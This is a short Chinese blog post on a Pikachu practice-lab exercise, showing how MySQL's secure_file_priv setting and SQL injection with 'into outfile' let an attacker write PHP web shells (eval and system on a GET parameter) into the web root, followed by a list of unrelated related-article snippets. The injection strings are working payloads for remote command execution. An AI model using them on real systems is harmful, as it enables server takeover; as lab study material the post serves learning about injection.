Pikachu-Sql-Inject - 通过sql进行远程服务器控制(试验)

ops/2024/10/20 15:45:44/

secure_file_priv是MySQL中的系统变量,用于限制文件的读取和写入。

查看命令:

show variables like "secure%" 
//或者
select @@secure_file_priv;

1.secure_file_priv = NULL ,限制文件的读取和写入。

2.secure_file_priv = 文件路径 ,限制文件的读取和写入只能在设定的文件夹中。

3.secure_file_priv= "", 对文件和读取和写入没有任何限制。

into outfile ,将select 的结果写入到指定的文件中;

vince' union select " <?php @eval($_GET['test'])?>",2 into outfile "/var/www/html/1.php"#
vince' union select " <?php system($_GET['cmd'])?>",2 into outfile "/var/www/html/2.php"#//构造sql
vince' union select " <?php system($_GET['cmd'])?>",2 into outfile "/var/lib/mysql-files/2.php"#

执行sql语句

进入到服务器目录下,看到文件已生成;

这个实验有三个前提条件:

1、需要知道远程服务器的文件目录;

2、需要该目录有写权限;

3、需要数据库开启secure_file_priv权限;


http://www.ppmy.cn/ops/121894.html

相关文章

oracle 新建用户,用户插入数据报错:ORA-01950: 对表空间 ‘USERS‘ 无权限

oracle 新建用户&#xff0c;用户插入数据报错:ORA-01950: 对表空间 ‘USERS’ 无权限 根据业务需求创建了一个新的表空间和一个新的用户&#xff0c;当用这个新用户创建表时&#xff0c;报错&#xff1a;ORA-01950: 表空 间’USERS’中无权限。我已经把创建表的权限赋给了此用…

Java每日面试题(JVM)(day15)

目录 Java对象内存布局markWord 数据结构JDK1.8 JVM 内存结构JDK1.8堆内存结构GC垃圾回收如何发现垃圾如何回收垃圾 JVM调优参数 Java对象内存布局 markWord 数据结构 JDK1.8 JVM 内存结构 程序计数器: 线程私有&#xff0c;记录代码执行的位置. Java虚拟机栈: 线程私有&#…

程序猿成长之路之设计模式篇——设计模式简介

无论是对于代码质量还是代码可维护性、可扩展性&#xff0c;使用合适的设计模式都能够起到促进提升的作用&#xff0c;此外在软考的软件工程师、系统架构师职称考试中&#xff0c;设计模式也是必考的一块内容&#xff0c;因此我打算开拓一个新的专栏简单介绍一下设计模式&#…

深入浅出 CSS 定位:全面解析与实战指南

“批判他人总是想的太简单 剖析自己总是想的太困难” 文章目录 目录 前言文章有误敬请斧正 不胜感恩&#xff01;1. CSS 定位概述2. 定位类型详解2.1 static&#xff08;默认定位&#xff09;2.2 relative&#xff08;相对定位&#xff09;2.3 absolute&#xff08;绝对定位&am…

C++ 函数模板与类模板知识点总结

一、基础概念 1.1 什么是模板 模板是 C 的一个特性&#xff0c;使得你可以编写与类型无关的代码。模板通过定义类型参数&#xff0c;使得同一段代码可以适用于多种数据类型。 二、函数模板 2.1 定义与语法 基本定义&#xff1a; template <typename T> T functionNa…

【AI自然语言处理应用】通过API调用通义晓蜜CCAI-对话分析AIO应用

通义晓蜜CCAI-对话分析AIO 对话分析AIO&#xff0c;即对话分析all-in-one API&#xff0c;是基于深度调优的对话大模型&#xff0c; 为营销服类产品提供智能化升级所需的生成式摘要总结、质检、分析等能力的官方应用。 面向对象&#xff1a;开发者、自研企业、传统呼叫中心采购…

开发指南067-单元测试

平台中单元测试使用两个工具&#xff1a; 1、接口类&#xff1a;使用swagger。 swagger前面介绍已经很多了&#xff0c;不再累述。注意下token的设置即可&#xff0c;否则会报未登录&#xff0c;无法调用该接口。当然也可以修改代码&#xff0c;屏蔽校验。但是屏蔽校验无法获取…

什么是数据挖掘?初学者指南

引言 在信息时代的今天&#xff0c;我们生活在一个数据爆炸的世界中。从社交媒体的帖子到在线购物记 录&#xff0c;从医疗健康数据到金融交易信息&#xff0c;数据无处不在。这些数据的增长速度之快&#xff0c;使得从数据中提 取有价值信息的需求变得日益迫切。 数据挖掘&a…